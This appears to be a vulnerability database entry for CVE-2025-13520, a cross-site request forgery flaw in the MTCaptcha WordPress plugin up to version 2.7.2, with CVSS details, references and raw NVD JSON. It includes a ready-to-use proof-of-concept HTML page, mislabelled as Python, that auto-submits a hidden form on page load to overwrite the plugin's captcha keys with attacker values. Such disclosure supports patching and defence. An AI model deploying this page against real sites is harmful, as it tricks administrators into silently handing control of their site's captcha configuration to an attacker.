CVE-2025-13520

Description

The MTCaptcha WordPress Plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.2. This is due to missing or incorrect nonce validation on the settings update functionality. This makes it possible for unauthenticated attackers to update the plugin settings, including sensitive values like the private key, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

MTCaptcha WordPress Plugin <= 2.7.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2025-13520: MTCaptcha CSRF Settings Update -->
<!DOCTYPE html>
<html>
<head>
    <title>MTCaptcha Plugin CSRF PoC</title>
</head>
<body>
    <h2>MTCaptcha CSRF Vulnerability PoC</h2>
    <p>This PoC demonstrates the CSRF vulnerability in MTCaptcha WordPress plugin <= 2.7.2</p>
    
    <form id="csrfForm" action="http://target-wordpress-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <!-- MTCaptcha settings update parameters -->
        <input type="hidden" name="action" value="mtcap_update_settings">
        <input type="hidden" name="mtcap_public_key" value="attacker_controlled_public_key">
        <input type="hidden" name="mtcap_private_key" value="attacker_controlled_private_key">
        <input type="hidden" name="mtcap_enabled" value="1">
        <input type="hidden" name="mtcap_theme" value="light">
        <!-- Additional settings can be added here -->
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.addEventListener('DOMContentLoaded', function() {
            console.log('Submitting CSRF PoC...');
            document.getElementById('csrfForm').submit();
        });
    </script>
    
    <p>If settings were updated successfully, the MTCaptcha private key has been replaced.</p>
    <p>Administrator should check plugin settings after visiting this page.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13520
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13520
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13520/
[4] VulDB https://vuldb.com/cve/CVE-2025-13520
[5] https://plugins.trac.wordpress.org/browser/mtcaptcha/tags/2.7.2/mt-captcha.php#L410
[6] https://plugins.trac.wordpress.org/browser/mtcaptcha/trunk/mt-captcha.php#L410
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/e8c1e568-7170-40d6-b522-2c89725e0501?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13520", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:48.623", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MTCaptcha WordPress Plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.7.2. This is due to missing or incorrect nonce validation on the settings update functionality. This makes it possible for unauthenticated attackers to update the plugin settings, including sensitive values like the private key, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin de WordPress MTCaptcha para WordPress es vulnerable a falsificación de petición en sitios cruzados en todas las versiones hasta la 2.7.2, inclusive. Esto se debe a la falta o la incorrecta validación de nonce en la funcionalidad de actualización de ajustes. Esto hace posible que atacantes no autenticados actualicen los ajustes del plugin, incluyendo valores sensibles como la clave privada, a través de una petición falsificada siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mtcaptcha/tags/2.7.2/mt-captcha.php#L410", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mtcaptcha/trunk/mt-captcha.php#L410", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e8c1e568-7170-40d6-b522-2c89725e0501?source=cve", "source": "[email protected]"}]}}